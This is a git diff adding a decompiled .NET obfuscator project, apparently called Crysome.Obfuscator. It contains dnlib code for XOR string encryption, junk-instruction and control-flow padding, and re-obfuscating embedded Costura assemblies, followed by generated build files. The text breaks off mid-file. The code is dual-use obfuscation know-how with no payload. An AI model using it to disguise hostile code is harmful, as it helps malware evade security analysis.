StringEncryption(ModuleDef mod, Action log) + { + MethodDef val = CreateDecryptHelper(mod); + if (val == null) + { + log("String encryption: skipped"); + return; + } + int num = 0; + TypeDef[] array = mod.Types.ToArray(); + for (int i = 0; i < array.Length; i++) + { + MethodDef[] array2 = array[i].Methods.ToArray(); + foreach (MethodDef val2 in array2) + { + if (!val2.HasBody || !val2.Body.HasInstructions) + { + continue; + } + IList instructions = val2.Body.Instructions; + for (int k = 0; k < instructions.Count; k++) + { + if (instructions[k].OpCode != OpCodes.Ldstr) + { + continue; + } + string text = instructions[k].Operand as string; + if (string.IsNullOrEmpty(text) || text.Length > 500 || text.IndexOf("CRYCFG", StringComparison.Ordinal) >= 0) + { + continue; + } + try + { + var (array3, num2) = XorEncrypt(text); + instructions.RemoveAt(k); + int num3 = k; + instructions.Insert(num3++, Instruction.Create(OpCodes.Ldc_I4, array3.Length)); + instructions.Insert(num3++, Instruction.Create(OpCodes.Newarr, ((TypeDefOrRefSig)mod.CorLibTypes.Byte).TypeDefOrRef)); + for (int l = 0; l < array3.Length; l++) + { + instructions.Insert(num3++, Instruction.Create(OpCodes.Dup)); + instructions.Insert(num3++, Instruction.Create(OpCodes.Ldc_I4, l)); + instructions.Insert(num3++, Instruction.Create(OpCodes.Ldc_I4, (int)array3[l])); + instructions.Insert(num3++, Instruction.Create(OpCodes.Stelem_I1)); + } + instructions.Insert(num3++, Instruction.Create(OpCodes.Ldc_I4, num2)); + instructions.Insert(num3++, Instruction.Create(OpCodes.Call, (IMethod)(object)val)); + num++; + } + catch + { + break; + } + } + } + } + log($"String encryption: {num} strings"); + } + + private static (byte[] enc, int key) XorEncrypt(string s) + { + int num = _rnd.Next(1, 255); + byte[] bytes = Encoding.UTF8.GetBytes(s); + byte[] array = new byte[bytes.Length]; + for (int i = 0; i < bytes.Length; i++) + { + array[i] = (byte)(bytes[i] ^ num); + } + return (enc: array, key: num); + } + + private static MethodDef CreateDecryptHelper(ModuleDef mod) + { + //IL_00d7: Unknown result type (might be due to invalid IL or missing references) + //IL_00de: Expected O, but got Unknown + //IL_0111: Unknown result type (might be due to invalid IL or missing references) + //IL_0118: Expected O, but got Unknown + //IL_0138: Unknown result type (might be due to invalid IL or missing references) + //IL_0142: Expected O, but got Unknown + //IL_0154: Unknown result type (might be due to invalid IL or missing references) + //IL_015e: Expected O, but got Unknown + //IL_015e: Unknown result type (might be due to invalid IL or missing references) + //IL_0165: Expected O, but got Unknown + //IL_04cd: Unknown result type (might be due to invalid IL or missing references) + //IL_04d7: Expected O, but got Unknown + //IL_04d2: Unknown result type (might be due to invalid IL or missing references) + //IL_04dc: Expected O, but got Unknown + //IL_04ef: Unknown result type (might be due to invalid IL or missing references) + //IL_04f9: Expected O, but got Unknown + //IL_050c: Unknown result type (might be due to invalid IL or missing references) + //IL_0516: Expected O, but got Unknown + //IL_0511: Unknown result type (might be due to invalid IL or missing references) + //IL_051b: Expected O, but got Unknown + //IL_052e: Unknown result type (might be due to invalid IL or missing references) + //IL_0538: Expected O, but got Unknown + Importer val = new Importer(mod); + ITypeDefOrRef val2 = val.Import(typeof(byte[])); + IMethod val3 = val.Import((MethodBase)typeof(Encoding).GetMethod("GetString", new Type[1] { typeof(byte[]) })); + MethodInfo methodInfo = typeof(Encoding).GetProperty("UTF8")?.GetGetMethod(); + if (methodInfo == null) + { + return null; + } + IMethod val4 = val.Import((MethodBase)methodInfo); + MethodSig val5 = MethodSig.CreateStatic((TypeSig)(object)mod.CorLibTypes.String, (TypeSig)(object)mod.CorLibTypes.Object, (TypeSig)(object)mod.CorLibTypes.Int32); + TypeDefUser val6 = new TypeDefUser((UTF8String)(""), (UTF8String)("C" + RandomName(10)), ((TypeDefOrRefSig)mod.CorLibTypes.Object).TypeDefOrRef); + ((TypeDef)val6).Attributes = (dnlib.DotNet.TypeAttributes)384; + mod.Types.Add((TypeDef)(object)val6); + MethodDefUser val7 = new MethodDefUser((UTF8String)("X" + RandomName(6)), val5, (dnlib.DotNet.MethodImplAttributes)0, (dnlib.DotNet.MethodAttributes)17); + ((TypeDef)val6).Methods.Add((MethodDef)(object)val7); + ((MethodDef)val7).ParamDefs.Add((ParamDef)new ParamDefUser((UTF8String)("a"), (ushort)1)); + ((MethodDef)val7).ParamDefs.Add((ParamDef)new ParamDefUser((UTF8String)("k"), (ushort)2)); + CilBody val8 = new CilBody(); + val8.Instructions.Add(Instruction.Create(OpCodes.Ldarg_0)); + val8.Instructions.Add(Instruction.Create(OpCodes.Castclass, val2)); + val8.Instructions.Add(Instruction.Create(OpCodes.Stloc_0)); + val8.Instructions.Add(Instruction.Create(OpCodes.Ldarg_1)); + val8.Instructions.Add(Instruction.Create(OpCodes.Stloc_1)); + val8.Instructions.Add(Instruction.Create(OpCodes.Ldloc_0)); + val8.Instructions.Add(Instruction.Create(OpCodes.Ldlen)); + val8.Instructions.Add(Instruction.Create(OpCodes.Conv_I4)); + val8.Instructions.Add(Instruction.Create(OpCodes.Newarr, ((TypeDefOrRefSig)mod.CorLibTypes.Byte).TypeDefOrRef)); + val8.Instructions.Add(Instruction.Create(OpCodes.Stloc_2)); + val8.Instructions.Add(Instruction.Create(OpCodes.Ldc_I4_0)); + val8.Instructions.Add(Instruction.Create(OpCodes.Stloc_3)); + Instruction val9 = Instruction.Create(OpCodes.Nop); + val8.Instructions.Add(val9); + val8.Instructions.Add(Instruction.Create(OpCodes.Ldloc_3)); + val8.Instructions.Add(Instruction.Create(OpCodes.Ldloc_0)); + val8.Instructions.Add(Instruction.Create(OpCodes.Ldlen)); + val8.Instructions.Add(Instruction.Create(OpCodes.Conv_I4)); + Instruction val10 = Instruction.Create(OpCodes.Nop); + val8.Instructions.Add(Instruction.Create(OpCodes.Bge, val10)); + val8.Instructions.Add(Instruction.Create(OpCodes.Ldloc_2)); + val8.Instructions.Add(Instruction.Create(OpCodes.Ldloc_3)); + val8.Instructions.Add(Instruction.Create(OpCodes.Ldloc_0)); + val8.Instructions.Add(Instruction.Create(OpCodes.Ldloc_3)); + val8.Instructions.Add(Instruction.Create(OpCodes.Ldelem_U1)); + val8.Instructions.Add(Instruction.Create(OpCodes.Ldloc_1)); + val8.Instructions.Add(Instruction.Create(OpCodes.Xor)); + val8.Instructions.Add(Instruction.Create(OpCodes.Conv_U1)); + val8.Instructions.Add(Instruction.Create(OpCodes.Stelem_I1)); + val8.Instructions.Add(Instruction.Create(OpCodes.Ldloc_3)); + val8.Instructions.Add(Instruction.Create(OpCodes.Ldc_I4_1)); + val8.Instructions.Add(Instruction.Create(OpCodes.Add)); + val8.Instructions.Add(Instruction.Create(OpCodes.Stloc_3)); + val8.Instructions.Add(Instruction.Create(OpCodes.Br, val9)); + val8.Instructions.Add(val10); + val8.Instructions.Add(Instruction.Create(OpCodes.Call, val4)); + val8.Instructions.Add(Instruction.Create(OpCodes.Ldloc_2)); + val8.Instructions.Add(Instruction.Create(OpCodes.Callvirt, val3)); + val8.Instructions.Add(Instruction.Create(OpCodes.Ret)); + val8.InitLocals = true; + val8.Variables.Add(new Local((TypeSig)new SZArraySig((TypeSig)(object)mod.CorLibTypes.Byte))); + val8.Variables.Add(new Local((TypeSig)(object)mod.CorLibTypes.Int32)); + val8.Variables.Add(new Local((TypeSig)new SZArraySig((TypeSig)(object)mod.CorLibTypes.Byte))); + val8.Variables.Add(new Local((TypeSig)(object)mod.CorLibTypes.Int32)); + ((MethodDef)val7).Body = val8; + return (MethodDef)(object)val7; + } + + private static void ControlFlowObfuscation(ModuleDef mod, Action log) + { + int num = 0; + foreach (TypeDef type in mod.Types) + { + foreach (MethodDef method in type.Methods) + { + if (!method.HasBody || !method.Body.HasInstructions || method.Body.Instructions.Count < 4) + { + continue; + } + try + { + IList instructions = method.Body.Instructions; + int num2 = instructions.Count - 1; + while (num2 > 0 && num2 % 3 == 0) + { + if (instructions[num2].OpCode != OpCodes.Ret) + { + instructions.Insert(num2, Instruction.Create(OpCodes.Ldc_I4, _rnd.Next(0, 2))); + instructions.Insert(num2 + 1, Instruction.Create(OpCodes.Pop)); + num++; + break; + } + num2--; + } + } + catch + { + } + } + } + log($"Control flow: {num} methods"); + } + + private static void ObfuscateCosturaEmbeddedAssemblies(ModuleDef mod, ModuleContext modCtx, Action log) + { + //IL_017a: Unknown result type (might be due to invalid IL or missing references) + //IL_0184: Expected O, but got Unknown + //IL_0267: Unknown result type (might be due to invalid IL or missing references) + //IL_026c: Unknown result type (might be due to invalid IL or missing references) + //IL_0276: Expected O, but got Unknown + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + List<(EmbeddedResource, byte[])> list = new List<(EmbeddedResource, byte[])>(); + Resource[] array = ((IEnumerable)mod.Resources).ToArray(); + foreach (Resource obj in array) + { + EmbeddedResource val = (EmbeddedResource)(object)((obj is EmbeddedResource) ? obj : null); + if (val == null) + { + continue; + } + string text = ((object)((Resource)val).Name)?.ToString() ?? ""; + if (text.IndexOf("costura", StringComparison.OrdinalIgnoreCase) < 0 || !text.EndsWith(".compressed", StringComparison.OrdinalIgnoreCase)) + { + continue; + } + try + { + DataReader val2 = val.CreateReader(); + byte[] array2 = val2.ReadBytes((int)val.Length); + if (array2 == null || array2.Length == 0) + { + continue; + } + byte[] array3; + using (MemoryStream stream = new MemoryStream(array2)) + { + using DeflateStream deflateStream = new DeflateStream(stream, CompressionMode.Decompress); + using MemoryStream memoryStream = new MemoryStream(); + deflateStream.CopyTo(memoryStream); + array3 = memoryStream.ToArray(); + } + ModuleDefMD val3 = ModuleDefMD.Load(array3, modCtx); + try + { + RenameObfuscation((ModuleDef)(object)val3, delegate + { + }); + try + { + StringEncryption((ModuleDef)(object)val3, delegate + { + }); + } + catch + { + } + try + { + AddJunkNops((ModuleDef)(object)val3, delegate + { + }); + } + catch + { + } + using MemoryStream memoryStream2 = new MemoryStream(); + ((ModuleDef)val3).Write((Stream)memoryStream2, new ModuleWriterOptions((ModuleDef)(object)val3)); + byte[] array4 = memoryStream2.ToArray(); + using MemoryStream memoryStream3 = new MemoryStream(); + using (DeflateStream deflateStream2 = new DeflateStream(memoryStream3, CompressionLevel.Fastest)) + { + deflateStream2.Write(array4, 0, array4.Length); + } + list.Add((val, memoryStream3.ToArray())); + } + finally + { + ((IDisposable)val3)?.Dispose(); + } + } + catch (Exception ex) + { + log("Failed to obfuscate embedded " + text + ": " + ex.Message); + } + } + foreach (var (val4, array5) in list) + { + ((LazyList)(object)mod.Resources).Remove((Resource)(object)val4); + ((LazyList)(object)mod.Resources).Add((Resource)new EmbeddedResource(((Resource)val4).Name, array5, ((Resource)val4).Attributes)); + } + if (list.Count > 0) + { + log($"Obfuscated {list.Count} Costura embedded assembly(ies)."); + } + } + + private static void AddJunkNops(ModuleDef mod, Action log) + { + int num = 0; + foreach (TypeDef type in mod.Types) + { + foreach (MethodDef method in type.Methods) + { + if (!method.HasBody || !method.Body.HasInstructions) + { + continue; + } + try + { + IList instructions = method.Body.Instructions; + for (int num2 = instructions.Count - 1; num2 > 0; num2 -= 2) + { + if (instructions[num2].OpCode != OpCodes.Ret) + { + for (int i = 0; i < 2; i++) + { + instructions.Insert(num2, Instruction.Create(OpCodes.Nop)); + } + num++; + break; + } + } + } + catch + { + } + } + } + log($"Junk NOPs: {num} methods"); + } +} diff --git a/Crysome.Obfuscator/obj/Crysome.Obfuscator.csproj.nuget.dgspec.json b/Crysome.Obfuscator/obj/Crysome.Obfuscator.csproj.nuget.dgspec.json new file mode 100644 index 0000000..ec411fb --- /dev/null +++ b/Crysome.Obfuscator/obj/Crysome.Obfuscator.csproj.nuget.dgspec.json @@ -0,0 +1,83 @@ +{ + "format": 1, + "restore": { + "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Obfuscator\\Crysome.Obfuscator.csproj": {} + }, + "projects": { + "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Obfuscator\\Crysome.Obfuscator.csproj": { + "version": "1.0.0", + "restore": { + "projectUniqueName": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Obfuscator\\Crysome.Obfuscator.csproj", + "projectName": "Crysome.Obfuscator", + "projectPath": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Obfuscator\\Crysome.Obfuscator.csproj", + "packagesPath": "C:\\Users\\lukas\\.nuget\\packages\\", + "outputPath": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Obfuscator\\obj\\", + "projectStyle": "PackageReference", + "fallbackFolders": [ + "C:\\Program Files\\DevExpress 24.2\\Components\\Offline Packages", + "C:\\Program Files (x86)\\Microsoft Visual Studio\\Shared\\NuGetPackages" + ], + "configFilePaths": [ + "C:\\Users\\lukas\\AppData\\Roaming\\NuGet\\NuGet.Config", + "C:\\Program Files (x86)\\NuGet\\Config\\DevExpress 24.2.config", + "C:\\Program Files (x86)\\NuGet\\Config\\Microsoft.VisualStudio.FallbackLocation.config", + "C:\\Program Files (x86)\\NuGet\\Config\\Microsoft.VisualStudio.Offline.config" + ], + "originalTargetFrameworks": [ + "net9.0-windows" + ], + "sources": { + "C:\\Program Files (x86)\\Microsoft SDKs\\NuGetPackages\\": {}, + "C:\\Program Files\\DevExpress 24.2\\Components\\System\\Components\\Packages": {}, + "C:\\Program Files\\dotnet\\library-packs": {}, + "https://api.nuget.org/v3/index.json": {} + }, + "frameworks": { + "net9.0-windows7.0": { + "targetAlias": "net9.0-windows", + "projectReferences": {} + } + }, + "warningProperties": { + "warnAsError": [ + "NU1605" + ] + }, + "restoreAuditProperties": { + "enableAudit": "true", + "auditLevel": "low", + "auditMode": "direct" + }, + "SdkAnalysisLevel": "10.0.100" + }, + "frameworks": { + "net9.0-windows7.0": { + "targetAlias": "net9.0-windows", + "dependencies": { + "dnlib": { + "target": "Package", + "version": "[4.5.0, )" + } + }, + "imports": [ + "net461", + "net462", + "net47", + "net471", + "net472", + "net48", + "net481" + ], + "assetTargetFallback": true, + "warn": true, + "frameworkReferences": { + "Microsoft.NETCore.App": { + "privateAssets": "all" + } + }, + "runtimeIdentifierGraphPath": "C:\\Program Files\\dotnet\\sdk\\10.0.102/PortableRuntimeIdentifierGraph.json" + } + } + } + } +} \ No newline at end of file diff --git a/Crysome.Obfuscator/obj/Crysome.Obfuscator.csproj.nuget.g.props b/Crysome.Obfuscator/obj/Crysome.Obfuscator.csproj.nuget.g.props new file mode 100644 index 0000000..b837261 --- /dev/null +++ b/Crysome.Obfuscator/obj/Crysome.Obfuscator.csproj.nuget.g.props @@ -0,0 +1,17 @@ + + + + True + NuGet + $(MSBuildThisFileDirectory)project.assets.json + $(UserProfile)\.nuget\packages\ + C:\Users\lukas\.nuget\packages\;C:\Program Files\DevExpress 24.2\Components\Offline Packages;C:\Program Files (x86)\Microsoft Visual Studio\Shared\NuGetPackages + PackageReference + 7.0.0 + + + + + + + \ No newline at end of file diff --git a/Crysome.Obfuscator/obj/Crysome.Obfuscator.csproj.nuget.g.targets b/Crysome.Obfuscator/obj/Crysome.Obfuscator.csproj.nuget.g.targets new file mode 100644 index 0000000..35a7576 --- /dev/null +++ b/Crysome.Obfuscator/obj/Crysome.Obfuscator.csproj.nuget.g.targets @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/Crysome.Obfuscator/obj/Debug/.NETCoreApp,Version=v9.0.AssemblyAttributes.cs b/Crysome.Obfuscator/obj/Debug/.NETCoreApp,Version=v9.0.AssemblyAttributes.cs new file mode 100644 index 0000000..ea1f2ea --- /dev/null +++ b/Crysome.Obfuscator/obj/Debug/.NETCoreApp,Version=v9.0.AssemblyAttributes.cs @@ -0,0 +1,4 @@ +// +using System; +using System.Reflection; +[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETCoreApp,Version=v9.0", FrameworkDisplayName = ".NET 9.0")] diff --git a/Crysome.Obfuscator/obj/Debug/Crysome.Obfuscator.GeneratedMSBuildEditorConfig.editorconfig b/Crysome.Obfuscator/obj/Debug/Crysome.Obfuscator.GeneratedMSBuildEditorConfig.editorconfig new file mode 100644 index 0000000..d4ab2f8 --- /dev/null +++ b/Crysome.Obfuscator/obj/Debug/Crysome.Obfuscator.GeneratedMSBuildEditorConfig.editorconfig @@ -0,0 +1,18 @@ +is_global = true +build_property.TargetFramework = net9.0-windows +build_property.TargetFrameworkIdentifier = .NETCoreApp +build_property.TargetFrameworkVersion = v9.0 +build_property.TargetPlatformMinVersion = 7.0 +build_property.UsingMicrosoftNETSdkWeb = +build_property.ProjectTypeGuids = +build_property.InvariantGlobalization = +build_property.PlatformNeutralAssembly = +build_property.EnforceExtendedAnalyzerRules = +build_property._SupportedPlatformList = Linux,macOS,Windows +build_property.RootNamespace = Crysome.Obfuscator +build_property.ProjectDir = C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Obfuscator\ +build_property.EnableComHosting = +build_property.EnableGeneratedComInterfaceComImportInterop = +build_property.CsWinRTUseWindowsUIXamlProjections = false +build_property.EffectiveAnalysisLevelStyle = 9.0 +build_property.EnableCodeStyleSeverity = diff --git a/Crysome.Obfuscator/obj/Debug/Crysome.Obfuscator.assets.cache b/Crysome.Obfuscator/obj/Debug/Crysome.Obfuscator.assets.cache new file mode 100644 index 0000000..51bb3cb Binary files /dev/null and b/Crysome.Obfuscator/obj/Debug/Crysome.Obfuscator.assets.cache differ diff --git a/Crysome.Obfuscator/obj/Debug/Crysome.Obfuscator.csproj.AssemblyReference.cache b/Crysome.Obfuscator/obj/Debug/Crysome.Obfuscator.csproj.AssemblyReference.cache new file mode 100644 index 0000000..021d9cd Binary files /dev/null and b/Crysome.Obfuscator/obj/Debug/Crysome.Obfuscator.csproj.AssemblyReference.cache differ diff --git a/Crysome.Obfuscator/obj/Debug/Crysome.Obfuscator.csproj.CoreCompileInputs.cache b/Crysome.Obfuscator/obj/Debug/Crysome.Obfuscator.csproj.CoreCompileInputs.cache new file mode 100644 index 0000000..7f2cfc5 --- /dev/null +++ b/Crysome.Obfuscator/obj/Debug/Crysome.Obfuscator.csproj.CoreCompileInputs.cache @@ -0,0 +1 @@ +db98192fba505804594db90f2e9de1dcf015a8fb31a31d664cb4003616591a6f diff --git a/Crysome.Obfuscator/obj/Debug/Crysome.Obfuscator.csproj.FileListAbsolute.txt b/Crysome.Obfuscator/obj/Debug/Crysome.Obfuscator.csproj.FileListAbsolute.txt new file mode 100644 index 0000000..edac671 --- /dev/null +++ b/Crysome.Obfuscator/obj/Debug/Crysome.Obfuscator.csproj.FileListAbsolute.txt @@ -0,0 +1,13 @@ +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Obfuscator\obj\Debug\Crysome.Obfuscator.csproj.AssemblyReference.cache +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Obfuscator\obj\Debug\Crysome.Obfuscator.GeneratedMSBuildEditorConfig.editorconfig +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Obfuscator\obj\Debug\Crysome.Obfuscator.csproj.CoreCompileInputs.cache +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\Crysome.Obfuscator.deps.json +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\Crysome.Obfuscator.dll +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\Crysome.Obfuscator.pdb +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Obfuscator\obj\Debug\Crysome.Obfuscator.dll +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Obfuscator\obj\Debug\refint\Crysome.Obfuscator.dll +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Obfuscator\obj\Debug\Crysome.Obfuscator.pdb +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Obfuscator\obj\Debug\ref\Crysome.Obfuscator.dll +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\Crysome.Obfuscator.deps.json +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\Crysome.Obfuscator.dll +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\Crysome.Obfuscator.pdb diff --git a/Crysome.Obfuscator/obj/Debug/Crysome.Obfuscator.dll b/Crysome.Obfuscator/obj/Debug/Crysome.Obfuscator.dll new file mode 100644 index 0000000..e036dce Binary files /dev/null and b/Crysome.Obfuscator/obj/Debug/Crysome.Obfuscator.dll differ diff --git a/Crysome.Obfuscator/obj/Debug/Crysome.Obfuscator.pdb b/Crysome.Obfuscator/obj/Debug/Crysome.Obfuscator.pdb new file mode 100644 index 0000000..dd78ac9 Binary files /dev/null and b/Crysome.Obfuscator/obj/Debug/Crysome.Obfuscator.pdb differ diff --git a/Crysome.Obfuscator/obj/Debug/ref/Crysome.Obfuscator.dll b/Crysome.Obfuscator/obj/Debug/ref/Crysome.Obfuscator.dll new file mode 100644 index 0000000..32c20b6 Binary files /dev/null and b/Crysome.Obfuscator/obj/Debug/ref/Crysome.Obfuscator.dll differ diff --git a/Crysome.Obfuscator/obj/Debug/refint/Crysome.Obfuscator.dll b/Crysome.Obfuscator/obj/Debug/refint/Crysome.Obfuscator.dll new file mode 100644 index 0000000..32c20b6 Binary files /dev/null and b/Crysome.Obfuscator/obj/Debug/refint/Crysome.Obfuscator.dll differ diff --git a/Crysome.Obfuscator/obj/Release/.NETCoreApp,Version=v9.0.AssemblyAttributes.cs b/Crysome.Obfuscator/obj/Release/.NETCoreApp,Version=v9.0.AssemblyAttributes.cs new file mode 100644 index 0000000..ea1f2ea --- /dev/null +++ b/Crysome.Obfuscator/obj/Release/.NETCoreApp,Version=v9.0.AssemblyAttributes.cs @@ -0,0 +1,4 @@ +// +using System; +using System.Reflection; +[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETCoreApp,Version=v9.0", FrameworkDisplayName = ".NET 9.0")] diff --git a/Crysome.Obfuscator/obj/Release/Crysome.Obfuscator.GeneratedMSBuildEditorConfig.editorconfig b/Crysome.Obfuscator/obj/Release/Crysome.Obfuscator.GeneratedMSBuildEditorConfig.editorconfig new file mode 100644 index 0000000..d4ab2f8 --- /dev/null +++ b/Crysome.Obfuscator/obj/Release/Crysome.Obfuscator.GeneratedMSBuildEditorConfig.editorconfig @@ -0,0 +1,18 @@ +is_global = true +build_property.TargetFramework = net9.0-windows +build_property.TargetFrameworkIdentifier = .NETCoreApp +build_property.TargetFrameworkVersion = v9.0 +build_property.TargetPlatformMinVersion = 7.0 +build_property.UsingMicrosoftNETSdkWeb = +build_property.ProjectTypeGuids = +build_property.InvariantGlobalization = +build_property.PlatformNeutralAssembly = +build_property.EnforceExtendedAnalyzerRules = +build_property._SupportedPlatformList = Linux,macOS,Windows +build_property.RootNamespace = Crysome.Obfuscator +build_property.ProjectDir = C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Obfuscator\ +build_property.EnableComHosting = +build_property.EnableGeneratedComInterfaceComImportInterop = +build_property.CsWinRTUseWindowsUIXamlProjections = false +build_property.EffectiveAnalysisLevelStyle = 9.0 +build_property.EnableCodeStyleSeverity = diff --git a/Crysome.Obfuscator/obj/Release/Crysome.Obfuscator.assets.cache b/Crysome.Obfuscator/obj/Release/Crysome.Obfuscator.assets.cache new file mode 100644 index 0000000..a98feee Binary files /dev/null and b/Crysome.Obfuscator/obj/Release/Crysome.Obfuscator.assets.cache differ diff --git a/Crysome.Obfuscator/obj/Release/Crysome.Obfuscator.csproj.AssemblyReference.cache b/Crysome.Obfuscator/obj/Release/Crysome.Obfuscator.csproj.AssemblyReference.cache new file mode 100644 index 0000000..021d9cd Binary files /dev/null and b/Crysome.Obfuscator/obj/Release/Crysome.Obfuscator.csproj.AssemblyReference.cache differ diff --git a/Crysome.Obfuscator/obj/Release/Crysome.Obfuscator.csproj.CoreCompileInputs.cache b/Crysome.Obfuscator/obj/Release/Crysome.Obfuscator.csproj.CoreCompileInputs.cache new file mode 100644 index 0000000..9d8e20b --- /dev/null +++ b/Crysome.Obfuscator/obj/Release/Crysome.Obfuscator.csproj.CoreCompileInputs.cache @@ -0,0 +1 @@ +ffe5e42dde01d68f00cea2509aa7e455751c501eec59602244a8d8cd38be5285 diff --git a/Crysome.Obfuscator/obj/Release/Crysome.Obfuscator.csproj.FileListAbsolute.txt b/Crysome.Obfuscator/obj/Release/Crysome.Obfuscator.csproj.FileListAbsolute.txt new file mode 100644 index 0000000..82b272a --- /dev/null +++ b/Crysome.Obfuscator/obj/Release/Crysome.Obfuscator.csproj.FileListAbsolute.txt @@ -0,0 +1,10 @@ +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\Crysome.Obfuscator.deps.json +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\Crysome.Obfuscator.dll +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\Crysome.Obfuscator.pdb +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Obfuscator\obj\Release\Crysome.Obfuscator.csproj.AssemblyReference.cache +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Obfuscator\obj\Release\Crysome.Obfuscator.GeneratedMSBuildEditorConfig.editorconfig +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Obfuscator\obj\Release\Crysome.Obfuscator.csproj.CoreCompileInputs.cache +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Obfuscator\obj\Release\Crysome.Obfuscator.dll +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Obfuscator\obj\Release\refint\Crysome.Obfuscator.dll +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Obfuscator\obj\Release\Crysome.Obfuscator.pdb +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Obfuscator\obj\Release\ref\Crysome.Obfuscator.dll diff --git a/Crysome.Obfuscator/obj/Release/Crysome.Obfuscator.dll b/Crysome.Obfuscator/obj/Release/Crysome.Obfuscator.dll new file mode 100644 index 0000000..082b2df Binary files /dev/null and b/Crysome.Obfuscator/obj/Release/Crysome.Obfuscator.dll differ diff --git a/Crysome.Obfuscator/obj/Release/Crysome.Obfuscator.pdb b/Crysome.Obfuscator/obj/Release/Crysome.Obfuscator.pdb new file mode 100644 index 0000000..e535e86 Binary files /dev/null and b/Crysome.Obfuscator/obj/Release/Crysome.Obfuscator.pdb differ diff --git a/Crysome.Obfuscator/obj/Release/ref/Crysome.Obfuscator.dll b/Crysome.Obfuscator/obj/Release/ref/Crysome.Obfuscator.dll new file mode 100644 index 0000000..f8a1460 Binary files /dev/null and b/Crysome.Obfuscator/obj/Release/ref/Crysome.Obfuscator.dll differ diff --git a/Crysome.Obfuscator/obj/Release/refint/Crysome.Obfuscator.dll b/Crysome.Obfuscator/obj/Release/refint/Crysome.Obfuscator.dll new file mode 100644 index 0000000..f8a1460 Binary files /dev/null and b/Crysome.Obfuscator/obj/Release/refint/Crysome.Obfuscator.dll differ diff --git a/Crysome.Obfuscator/obj/project.assets.json b/Crysome.Obfuscator/obj/project.assets.json new file mode 100644 index 0000000..97c29b7 --- /dev/null +++ b/Crysome.Obfuscator/obj/project.assets.json @@ -0,0 +1,127 @@ +{ + "version": 3, + "targets": { + "net9.0-windows7.0": { + "dnlib/4.5.0": { + "type": "package", + "compile": { + "lib/net6.0/dnlib.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/net6.0/dnlib.dll": { + "related": ".xml" + } + } + } + } + }, + "libraries": { + "dnlib/4.5.0": { + "sha512": "YkwstIbjyiJ12uGIAN8oSmImgVFkPHit7MJXPHvJqeKV1DMNqxZWszjHfykgiSs4Y/XmjnZts7pI2/AYme5/uA==", + "type": "package", + "path": "dnlib/4.5.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "LICENSE.txt", + "dnlib.4.5.0.nupkg.sha512", + "dnlib.nuspec", + "lib/net35/dnlib.dll", + "lib/net35/dnlib.xml", + "lib/net45/dnlib.dll", + "lib/net45/dnlib.xml", + "lib/net6.0/dnlib.dll", + "lib/net6.0/dnlib.xml", + "lib/netstandard2.0/dnlib.dll", + "lib/netstandard2.0/dnlib.xml" + ] + } + }, + "projectFileDependencyGroups": { + "net9.0-windows7.0": [ + "dnlib >= 4.5.0" + ] + }, + "packageFolders": { + "C:\\Users\\lukas\\.nuget\\packages\\": {}, + "C:\\Program Files\\DevExpress 24.2\\Components\\Offline Packages": {}, + "C:\\Program Files (x86)\\Microsoft Visual Studio\\Shared\\NuGetPackages": {} + }, + "project": { + "version": "1.0.0", + "restore": { + "projectUniqueName": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Obfuscator\\Crysome.Obfuscator.csproj", + "projectName": "Crysome.Obfuscator", + "projectPath": 